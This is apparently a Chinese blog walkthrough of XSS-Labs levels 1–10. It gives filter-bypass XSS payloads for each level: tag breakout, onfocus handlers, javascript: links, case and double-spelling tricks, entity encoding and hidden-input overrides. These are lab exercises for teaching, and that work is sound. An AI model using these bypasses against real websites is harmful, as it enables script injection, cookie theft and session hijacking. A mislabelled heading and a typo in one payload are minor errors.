Web安全中的XSS攻击详细教学,Xss-Labs(1-10关)靶场通关教程分享(建议收藏)

漏洞原理

xss(cross site script)跨站脚本攻击,指的是攻击者往web页面插入恶意脚本代码,当用户浏览时,嵌入web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的,它主要分为俩种类型

1. 存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就会执行。

2. 反射型XSS(非持久型):攻击者诱使用户点击一个链接,该链接将恶意脚本作为输入传递给服务器,然后服务器将这个脚本反射回用户的浏览器执行。

3. DOM型(非持久型):

漏洞危害

XSS攻击的常见目标是盗取用户的cookie和其他敏感信息,这些信息可以用来进行会话劫持、身份冒充等进一步攻击。如何防御?

    1. 输入验证:网站开发者需要对用户输入进行严格的验证和过滤,避免将不受信任的数据直接输出到HTML中。
    1. 输出编码:当将用户输入的数据输出到页面时,使用适当的编码方法(如HTML实体编码)来转义可能被浏览器解释为脚本的特殊字符。
    1. 对输出内容进行编码:在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

漏洞复现

Upload-Labs靶场(1-20关)

在这里插入图片描述

第一关(URL传参)

分析URL中的参数有个nanme

在这里插入图片描述

根据XSS原理,注入恶意脚本,尝试注入payload

?name=<script>alert()</script>

在这里插入图片描述

第二关(输入框注入)

尝试注入payload

<script>alert()</script>

在这里插入图片描述

分析源码,红色框上面部分被转义了,没有什么绕过方法,但是下面部分,仔细看,如果我们嵌套一个反标签符号呢?payload如下

"><script>alert()</script><"

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

第三关(事件注入)

尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了

在这里插入图片描述

JavaScript中有一个函数onfocus,用于输入框input,select,a标签获得焦点的事件

在这里插入图片描述

这里我们给他一个函数即可,payload如下

' onfocus=javascript:alert() '

在这里插入图片描述

此时再点击这个input框,使其获得焦点,触发onfocus事件

在这里插入图片描述

第四关(引号类型)

使用上一关的结果进行注入,尝试失败

在这里插入图片描述

分析源码,发现外围是双引号,双包单了,不符合javascript 的onfocus事件绑定

在这里插入图片描述

切换payload为双引号即可

" onfocus=javascript:alert() "

提交payload后,需要点击input框,触发onfocus事件

在这里插入图片描述

第五关(a标签注入)

尝试输入脚本标签,被强行切换为scr_ipt

在这里插入图片描述

使用上一关的方法" onfocus=javascript:alert() ",事件名称也被强行转换了

在这里插入图片描述

这里就要用到a标签href属性了,尝试注入

在这里插入图片描述

分析源码,并无异常转换,只是少了个"><",构造payload"><a href="javascript:alert();">xx</a><"

在这里插入图片描述

发现页面多了个标签,此时既可以点击此标签

在这里插入图片描述

第五关,over!

在这里插入图片描述

第六关(大小写绕过)

使用上一关结果,尝试注入"><a href="javascript:alert();">xx</a><"

在这里插入图片描述

分析源码,href变成了hr_ef

在这里插入图片描述

尝试onfocus绕过,失败

在这里插入图片描述

尝试大小写,发现没有对大小写进行验证

//第一种,脚本注入   
" ><SCRIPT>alert()</SCRIPT>< "   
//第二种,焦点事件   
" ONDOCUS=javascript:alert() "   
//a标签href属性的   
"> <a HREF=javascript:alert()>x</a> <"

在这里插入图片描述

over!

第七关(双拼写)

一样,使用上一关方法尝试,发现此时对大小写也进行了验证。

在这里插入图片描述

不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用****双拼写****来绕过。

" ><sscriptcript>alert()</sscriptcript>< "

在这里插入图片描述

第八关(Unicode编码)

尝试使用大小写

在这里插入图片描述

失败,对字符进行了强行转换,而且使用了强制小写字母

在这里插入图片描述

尝试使用双写,也以失败告终

在这里插入图片描述

这里我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议

javascript:alert()

利用在线工具进行Unicode编码后得到,在线Unicode编码解码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

在这里插入图片描述

在这里插入图片描述

第九关(指定字符绕过)

先看看过滤了什么

`" src data onfocus <script> <a href=javascript:alert()>` 

在这里插入图片描述

什么嘛,看源码

在这里插入图片描述

当传入的参数不包含"http://"时,即其值为假(false),将触发if语句的执行。为了避免这种情况,我们需要在参数中添加"http://",并将其作为注释,以防止其被实际执行,这会影响到弹窗的显示。为了确保strpos函数能够返回一个数值,我们需要构造一个特定的输入(payload),使其满足函数的预期行为。比如:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* <http://> */

在这里插入图片描述

本章小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可

第十关(属性修改)

a标签注入失败,

在这里插入图片描述

看看网页源码,全部都在h2标签去了,看着下面还有这么多hidden的input,这谁顶得住啊。

在这里插入图片描述

看后端源码吧

在这里插入图片描述

它多了个get的参数,测试了好几遍,可以尝试这个参数,把后面的type="hidden"给干掉,或者给type="text"也行就可以让这个input显示出来,再让它获得焦点,触发onfocus事件。

level10.php?t_sort=" onfocus="javascript:alert()" type="   
level10.php?t_sort=" onfocus="javascript:alert()" type="text

在这里插入图片描述

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

在这里插入图片描述
在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值